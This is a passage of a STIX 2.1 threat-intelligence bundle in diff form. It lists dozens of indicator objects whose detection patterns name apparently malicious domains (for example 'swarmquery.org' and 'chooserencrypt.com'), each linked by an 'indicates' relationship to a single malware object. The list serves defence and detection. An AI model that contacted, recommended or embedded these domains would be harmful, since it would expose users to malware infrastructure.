"source_ref": "indicator--e91edbae-516b-48c5-9dfa-609376ad0387", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--124128b4-da6c-4655-99a8-a404bc726581", + "created": "2023-03-29T12:58:43.696544Z", + "modified": "2023-03-29T12:58:43.696544Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='oblongsatiable.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.696544Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7dbd8842-6f70-41c5-a73d-7561e3a60ba5", + "created": "2023-03-29T12:58:43.697158Z", + "modified": "2023-03-29T12:58:43.697158Z", + "relationship_type": "indicates", + "source_ref": "indicator--124128b4-da6c-4655-99a8-a404bc726581", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3047f7e2-bf94-477e-8696-8aaf02679262", + "created": "2023-03-29T12:58:43.697329Z", + "modified": "2023-03-29T12:58:43.697329Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='riddancenurture.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.697329Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bd2cf718-9b51-4ee0-8f01-6abe95984985", + "created": "2023-03-29T12:58:43.697941Z", + "modified": "2023-03-29T12:58:43.697941Z", + "relationship_type": "indicates", + "source_ref": "indicator--3047f7e2-bf94-477e-8696-8aaf02679262", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--58583254-0d22-459e-a4a7-5274700775b2", + "created": "2023-03-29T12:58:43.698112Z", + "modified": "2023-03-29T12:58:43.698112Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='swarmquery.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.698112Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c2503285-bb8c-4c84-8f86-4caed697dc38", + "created": "2023-03-29T12:58:43.698716Z", + "modified": "2023-03-29T12:58:43.698716Z", + "relationship_type": "indicates", + "source_ref": "indicator--58583254-0d22-459e-a4a7-5274700775b2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--85b37082-a175-4dc6-baff-7bd1c8a93763", + "created": "2023-03-29T12:58:43.698886Z", + "modified": "2023-03-29T12:58:43.698886Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stockmarton.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.698886Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--19af60fd-62c0-45d1-b76e-ec506bc78d33", + "created": "2023-03-29T12:58:43.699599Z", + "modified": "2023-03-29T12:58:43.699599Z", + "relationship_type": "indicates", + "source_ref": "indicator--85b37082-a175-4dc6-baff-7bd1c8a93763", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--044ca518-1aef-49f9-913b-c55c9ec65187", + "created": "2023-03-29T12:58:43.699774Z", + "modified": "2023-03-29T12:58:43.699774Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wondercakemake.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.699774Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--befa9766-9795-46fd-930b-73bf3c49a396", + "created": "2023-03-29T12:58:43.700379Z", + "modified": "2023-03-29T12:58:43.700379Z", + "relationship_type": "indicates", + "source_ref": "indicator--044ca518-1aef-49f9-913b-c55c9ec65187", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ef4ef50e-0a3d-4a47-bbeb-c0b6dd7aff99", + "created": "2023-03-29T12:58:43.70055Z", + "modified": "2023-03-29T12:58:43.70055Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mythdespise.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.70055Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e4b25408-304b-4bca-a266-7ff729a557b3", + "created": "2023-03-29T12:58:43.701147Z", + "modified": "2023-03-29T12:58:43.701147Z", + "relationship_type": "indicates", + "source_ref": "indicator--ef4ef50e-0a3d-4a47-bbeb-c0b6dd7aff99", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a78dfa9b-9bcf-48b6-a33d-e869bec2634b", + "created": "2023-03-29T12:58:43.70132Z", + "modified": "2023-03-29T12:58:43.70132Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='twiguntainted.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.70132Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8c6b4776-6878-4f8f-ad4e-41b709e74f32", + "created": "2023-03-29T12:58:43.701931Z", + "modified": "2023-03-29T12:58:43.701931Z", + "relationship_type": "indicates", + "source_ref": "indicator--a78dfa9b-9bcf-48b6-a33d-e869bec2634b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--85f16c4b-4f6e-4886-ab8a-152fb6fa5252", + "created": "2023-03-29T12:58:43.702102Z", + "modified": "2023-03-29T12:58:43.702102Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jaybirdbonnet.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.702102Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aa212a78-4924-4134-b64d-c6b250dcea5d", + "created": "2023-03-29T12:58:43.702705Z", + "modified": "2023-03-29T12:58:43.702705Z", + "relationship_type": "indicates", + "source_ref": "indicator--85f16c4b-4f6e-4886-ab8a-152fb6fa5252", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2b38f97c-a043-4961-8e7d-8d688883d3c8", + "created": "2023-03-29T12:58:43.702875Z", + "modified": "2023-03-29T12:58:43.702875Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='regimeovereater.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.702875Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bb0ca3d7-fff9-4033-8793-eb7b20cb7e16", + "created": "2023-03-29T12:58:43.703481Z", + "modified": "2023-03-29T12:58:43.703481Z", + "relationship_type": "indicates", + "source_ref": "indicator--2b38f97c-a043-4961-8e7d-8d688883d3c8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cc3c09aa-9159-4f9f-8870-9df49868afa8", + "created": "2023-03-29T12:58:43.703652Z", + "modified": "2023-03-29T12:58:43.703652Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flagpolerobe.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.703652Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f266091c-e468-4945-8604-7d992bb91e4a", + "created": "2023-03-29T12:58:43.704248Z", + "modified": "2023-03-29T12:58:43.704248Z", + "relationship_type": "indicates", + "source_ref": "indicator--cc3c09aa-9159-4f9f-8870-9df49868afa8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3fe343fe-1755-4c25-9ee8-643b1ba1c9a9", + "created": "2023-03-29T12:58:43.70442Z", + "modified": "2023-03-29T12:58:43.70442Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='deepenthebond.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.70442Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6c019d69-31d4-4916-9a58-3f78b4b8d459", + "created": "2023-03-29T12:58:43.705042Z", + "modified": "2023-03-29T12:58:43.705042Z", + "relationship_type": "indicates", + "source_ref": "indicator--3fe343fe-1755-4c25-9ee8-643b1ba1c9a9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--722f9801-178d-48c8-949c-8f9a029f3982", + "created": "2023-03-29T12:58:43.705215Z", + "modified": "2023-03-29T12:58:43.705215Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='illusivecube.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.705215Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c38ad8a3-f76a-43de-860a-efa5f1bc31b6", + "created": "2023-03-29T12:58:43.705841Z", + "modified": "2023-03-29T12:58:43.705841Z", + "relationship_type": "indicates", + "source_ref": "indicator--722f9801-178d-48c8-949c-8f9a029f3982", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--437a4b4b-0656-488d-abae-329644b885ed", + "created": "2023-03-29T12:58:43.706016Z", + "modified": "2023-03-29T12:58:43.706016Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='exerciserrepost.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.706016Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0b430770-3d72-457e-8411-320b5bd7956c", + "created": "2023-03-29T12:58:43.706742Z", + "modified": "2023-03-29T12:58:43.706742Z", + "relationship_type": "indicates", + "source_ref": "indicator--437a4b4b-0656-488d-abae-329644b885ed", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a10b7ca9-21fd-49aa-b7eb-989cd7a39fa8", + "created": "2023-03-29T12:58:43.706918Z", + "modified": "2023-03-29T12:58:43.706918Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='aflameattentive.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.706918Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7ba23e27-668f-4e6e-ba8d-88a3fc7a25f0", + "created": "2023-03-29T12:58:43.707527Z", + "modified": "2023-03-29T12:58:43.707527Z", + "relationship_type": "indicates", + "source_ref": "indicator--a10b7ca9-21fd-49aa-b7eb-989cd7a39fa8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e2241f87-3a54-4d4d-ac66-e775b2a9ee5e", + "created": "2023-03-29T12:58:43.707708Z", + "modified": "2023-03-29T12:58:43.707708Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='enduringtrifocals.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.707708Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--12903391-0ade-4437-876a-ee4ad48c7bf1", + "created": "2023-03-29T12:58:43.708345Z", + "modified": "2023-03-29T12:58:43.708345Z", + "relationship_type": "indicates", + "source_ref": "indicator--e2241f87-3a54-4d4d-ac66-e775b2a9ee5e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8d6d08db-d9af-44d2-b5e0-107c3a7cd745", + "created": "2023-03-29T12:58:43.708516Z", + "modified": "2023-03-29T12:58:43.708516Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='thrashflier.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.708516Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9eb23d0d-4d37-4839-82eb-1b637bd4762f", + "created": "2023-03-29T12:58:43.709131Z", + "modified": "2023-03-29T12:58:43.709131Z", + "relationship_type": "indicates", + "source_ref": "indicator--8d6d08db-d9af-44d2-b5e0-107c3a7cd745", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8c8b4a0d-9ab3-4b46-b47c-6680bd8a98d8", + "created": "2023-03-29T12:58:43.709302Z", + "modified": "2023-03-29T12:58:43.709302Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vealcomfy.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.709302Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--80a195e6-c27f-4bb8-9192-4bb06bee178d", + "created": "2023-03-29T12:58:43.709947Z", + "modified": "2023-03-29T12:58:43.709947Z", + "relationship_type": "indicates", + "source_ref": "indicator--8c8b4a0d-9ab3-4b46-b47c-6680bd8a98d8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ab8697e6-93cf-42a3-b7e1-d3eeb228463b", + "created": "2023-03-29T12:58:43.710126Z", + "modified": "2023-03-29T12:58:43.710126Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stoneworksnazzy.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.710126Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--efda7502-2a03-4f22-8246-a8a28d9f17ad", + "created": "2023-03-29T12:58:43.710739Z", + "modified": "2023-03-29T12:58:43.710739Z", + "relationship_type": "indicates", + "source_ref": "indicator--ab8697e6-93cf-42a3-b7e1-d3eeb228463b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--41f282d6-db1f-4e60-9abd-07979812ab57", + "created": "2023-03-29T12:58:43.710912Z", + "modified": "2023-03-29T12:58:43.710912Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='electionepic.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.710912Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aec9ad46-ae99-4f05-9b70-f43e47317dd2", + "created": "2023-03-29T12:58:43.711512Z", + "modified": "2023-03-29T12:58:43.711512Z", + "relationship_type": "indicates", + "source_ref": "indicator--41f282d6-db1f-4e60-9abd-07979812ab57", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--484b2b8b-4bf5-45b9-998d-8c0c8c7f2c9f", + "created": "2023-03-29T12:58:43.711687Z", + "modified": "2023-03-29T12:58:43.711687Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='eccentricdepletion.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.711687Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7ab1e81a-22df-4c44-98de-cb4ffc7cc4ad", + "created": "2023-03-29T12:58:43.712293Z", + "modified": "2023-03-29T12:58:43.712293Z", + "relationship_type": "indicates", + "source_ref": "indicator--484b2b8b-4bf5-45b9-998d-8c0c8c7f2c9f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e2f1813b-8793-45bc-a848-fda4c32f9ed7", + "created": "2023-03-29T12:58:43.712467Z", + "modified": "2023-03-29T12:58:43.712467Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lazilyreproduce.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.712467Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--17a9a0ed-45b0-42a6-af58-c6ab99ec1c5a", + "created": "2023-03-29T12:58:43.71307Z", + "modified": "2023-03-29T12:58:43.71307Z", + "relationship_type": "indicates", + "source_ref": "indicator--e2f1813b-8793-45bc-a848-fda4c32f9ed7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9058c952-2dcd-48d9-86fd-7b20b1aca08b", + "created": "2023-03-29T12:58:43.713244Z", + "modified": "2023-03-29T12:58:43.713244Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hurtimpromptu.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.713244Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4af2463e-6538-4ff5-8a34-14bfa0c6e7cf", + "created": "2023-03-29T12:58:43.71397Z", + "modified": "2023-03-29T12:58:43.71397Z", + "relationship_type": "indicates", + "source_ref": "indicator--9058c952-2dcd-48d9-86fd-7b20b1aca08b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--12f685b1-62eb-43af-87e6-2bf961b990e6", + "created": "2023-03-29T12:58:43.714145Z", + "modified": "2023-03-29T12:58:43.714145Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='automatedpaddling.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.714145Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ad01ef72-1f6b-44e8-9f66-a67d423561da", + "created": "2023-03-29T12:58:43.71477Z", + "modified": "2023-03-29T12:58:43.71477Z", + "relationship_type": "indicates", + "source_ref": "indicator--12f685b1-62eb-43af-87e6-2bf961b990e6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1c12021d-6dd3-4170-9965-3bfa6c420e55", + "created": "2023-03-29T12:58:43.714944Z", + "modified": "2023-03-29T12:58:43.714944Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='synergycork.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.714944Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--37a84361-6d7b-4ba3-ae0d-48f151ba11b6", + "created": "2023-03-29T12:58:43.715543Z", + "modified": "2023-03-29T12:58:43.715543Z", + "relationship_type": "indicates", + "source_ref": "indicator--1c12021d-6dd3-4170-9965-3bfa6c420e55", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b02d9e1d-6188-4b16-8734-95c4898ccf37", + "created": "2023-03-29T12:58:43.715712Z", + "modified": "2023-03-29T12:58:43.715712Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='harddiskhurt.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.715712Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8e4538b3-cea9-4677-8255-bb282591843f", + "created": "2023-03-29T12:58:43.71631Z", + "modified": "2023-03-29T12:58:43.71631Z", + "relationship_type": "indicates", + "source_ref": "indicator--b02d9e1d-6188-4b16-8734-95c4898ccf37", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--22dbee63-c2f7-48a4-a0c4-8cf98ddfcbf3", + "created": "2023-03-29T12:58:43.716479Z", + "modified": "2023-03-29T12:58:43.716479Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='strandshed.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.716479Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7d49ea5b-e56b-437b-a4df-d84ef6eecc67", + "created": "2023-03-29T12:58:43.717076Z", + "modified": "2023-03-29T12:58:43.717076Z", + "relationship_type": "indicates", + "source_ref": "indicator--22dbee63-c2f7-48a4-a0c4-8cf98ddfcbf3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8cf661b4-0847-4642-b17c-0fb8ed01d320", + "created": "2023-03-29T12:58:43.717248Z", + "modified": "2023-03-29T12:58:43.717248Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='helo-babe.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.717248Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bca76376-7272-4eb6-af89-ba5cd26f2c49", + "created": "2023-03-29T12:58:43.717867Z", + "modified": "2023-03-29T12:58:43.717867Z", + "relationship_type": "indicates", + "source_ref": "indicator--8cf661b4-0847-4642-b17c-0fb8ed01d320", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4048db24-6af8-402a-8979-1f5e25dacb80", + "created": "2023-03-29T12:58:43.718041Z", + "modified": "2023-03-29T12:58:43.718041Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chooserencrypt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.718041Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e0c6356e-45bd-41c3-a5cf-51d2b9c3be15", + "created": "2023-03-29T12:58:43.718645Z", + "modified": "2023-03-29T12:58:43.718645Z", + "relationship_type": "indicates", + "source_ref": "indicator--4048db24-6af8-402a-8979-1f5e25dacb80", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a84ee431-1330-4a37-9c25-2a31c99bfaf1", + "created": "2023-03-29T12:58:43.718816Z", + "modified": "2023-03-29T12:58:43.718816Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pushcartdata.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.718816Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a1e2ff5f-3148-4dea-93fd-e191dfaa399e", + "created": "2023-03-29T12:58:43.71942Z", + "modified": "2023-03-29T12:58:43.71942Z", + "relationship_type": "indicates", + "source_ref": "indicator--a84ee431-1330-4a37-9c25-2a31c99bfaf1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4bd55731-5cd5-44c1-a4f9-5ff44c682a57", + "created": "2023-03-29T12:58:43.719589Z", + "modified": "2023-03-29T12:58:43.719589Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nuovocontesto.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.719589Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e1d75edc-57ce-4212-b4e5-b6bf3c8e30a3", + "created": "2023-03-29T12:58:43.720193Z", + "modified": "2023-03-29T12:58:43.720193Z", + "relationship_type": "indicates", + "source_ref": "indicator--4bd55731-5cd5-44c1-a4f9-5ff44c682a57", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--101f414d-299b-4873-bbe1-0484fc732ba0", + "created": "2023-03-29T12:58:43.720363Z", + "modified": "2023-03-29T12:58:43.720363Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='plusstrict.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.720363Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f431dcdf-cf5c-4e2a-8576-b5e9bbb9dcde", + "created": "2023-03-29T12:58:43.721071Z", + "modified": "2023-03-29T12:58:43.721071Z", + "relationship_type": "indicates", + "source_ref": "indicator--101f414d-299b-4873-bbe1-0484fc732ba0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5b8190f2-ecd5-4397-8a3e-f66de7c387d5", + "created": "2023-03-29T12:58:43.721246Z", + "modified": "2023-03-29T12:58:43.721246Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sunriseblooming.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.721246Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d4fc1f42-205b-4298-bce6-6281f394097c", + "created": "2023-03-29T12:58:43.721863Z", + "modified": "2023-03-29T12:58:43.721863Z", + "relationship_type": "indicates", + "source_ref": "indicator--5b8190f2-ecd5-4397-8a3e-f66de7c387d5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8f2bbdb7-af57-437f-a28e-6470026ba326", + "created": "2023-03-29T12:58:43.722036Z", + "modified": "2023-03-29T12:58:43.722036Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='factorybug.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.722036Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0f404f52-3160-486f-93b6-be14537e7c51", + "created": "2023-03-29T12:58:43.722633Z", + "modified": "2023-03-29T12:58:43.722633Z", + "relationship_type": "indicates", + "source_ref": "indicator--8f2bbdb7-af57-437f-a28e-6470026ba326", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--59487ced-97a6-4aca-9693-3b402698014e", + "created": "2023-03-29T12:58:43.722808Z", + "modified": "2023-03-29T12:58:43.722808Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='timerunshow.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.722808Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ebfdd848-919d-40e3-a416-5d9dd6567f08", + "created": "2023-03-29T12:58:43.723405Z", + "modified": "2023-03-29T12:58:43.723405Z", + "relationship_type": "indicates", + "source_ref": "indicator--59487ced-97a6-4aca-9693-3b402698014e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--60bf97af-5b4c-4b1b-98dd-65d480278ae5", + "created": "2023-03-29T12:58:43.723576Z", + "modified": "2023-03-29T12:58:43.723576Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='molehillsudoku.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.723576Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ab18240c-0fad-470f-b5fb-e47130795b4e", + "created": "2023-03-29T12:58:43.724173Z", + "modified": "2023-03-29T12:58:43.724173Z", + "relationship_type": "indicates", + "source_ref": "indicator--60bf97af-5b4c-4b1b-98dd-65d480278ae5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c5ab2978-7ede-4de1-b071-dc85728b36eb", + "created": "2023-03-29T12:58:43.724343Z", + "modified": "2023-03-29T12:58:43.724343Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='showplaceelusive.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.724343Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8c110f71-7965-4eea-a156-d66a9fc7401b", + "created": "2023-03-29T12:58:43.72499Z", + "modified": "2023-03-29T12:58:43.72499Z", + "relationship_type": "indicates", + "source_ref": "indicator--c5ab2978-7ede-4de1-b071-dc85728b36eb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--45114ddf-704a-4a95-9092-0c812b123fca", + "created": "2023-03-29T12:58:43.725165Z", + "modified": "2023-03-29T12:58:43.725165Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spottedcatalog.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.725165Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": 